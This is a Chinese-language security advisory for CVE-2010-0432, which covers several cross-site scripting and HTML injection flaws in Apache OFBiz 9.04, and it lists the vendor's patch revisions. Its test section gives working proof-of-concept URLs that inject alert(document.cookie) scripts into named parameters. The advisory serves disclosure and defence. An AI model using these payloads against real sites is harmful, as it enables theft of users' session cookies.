Apache OFBiz多个跨站脚本和HTML注入漏洞
发布日期：2010-04-14
更新日期：2010-04-16
受影响系统：
Apache Group OfBiz 9.04
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 39489
CVE ID: CVE-2010-0432
Apache Open For Business（Apache OFBiz）是开源的ERP系统。
Apache OFBiz没有正确地过滤提交给Export Product Listing部分的productStoreId参数、提交给View Profile部分的partyId参数、提交给Show Portal Page部分的start参数、提交给ecommerce/control/ViewBlogArticle的contentId参数和提交给Web Tools部分的entityName参数，这可能导致多个跨站脚本漏洞。
此外由于没有正确地过滤提交给ecommerce/control/contactus部分的subject和content参数，远程攻击者可以通过提交恶意HTTP请求导致注入恶意脚本，并在用户浏览器中查看时执行所注入的脚本代码。
<*来源：Lucas Apa
链接：
?l=bugtraq&m=127135631208190&w=2
*>
测试方法：
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
https://www.example.com/ebaystore/control/exportProductListing?productStoreId=90100" style="width:100%25;height:100%25;display:block;position:absolute;top:0px;left:0px" onMouseOver="alert(document.cookie)l
https://www.example.com/partymgr/control/viewprofile?&partyId=aa" style="width:100%25;height:100%25;display:block;position:absolute;top:0px;left:0px" onMouseOver="alert(document.cookie)
https://www.example.com/myportal/control/showPortalPage?period=week &start=1266796800000\<script>alert(document.cookie)</script>
https://www.example.com/facility/control/ReceiveReturn"<b><body onLoad="alert(document.cookie)"><br><div>><!--
?contentId=BLG10000\<script> alert(document.cookie)</script>&blogContentId=BLOGROOTBIGAL
https://www.example.com/webtools/control/FindGeneric?entityName=AccommodationClass\<script> alert(document.cookie)</script>&find=true&VIEW_SIZE=50&VIEW_INDEX=0
建议：
--------------------------------------------------------------------------------
厂商补丁：
Apache Group
------------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
?rev=920369&view=rev
?rev=920370&view=rev
?rev=920371&view=rev
?rev=920372&view=rev
?rev=920379&view=rev
?rev=920380&view=rev
?rev=920381&view=rev
?rev=920382&view=rev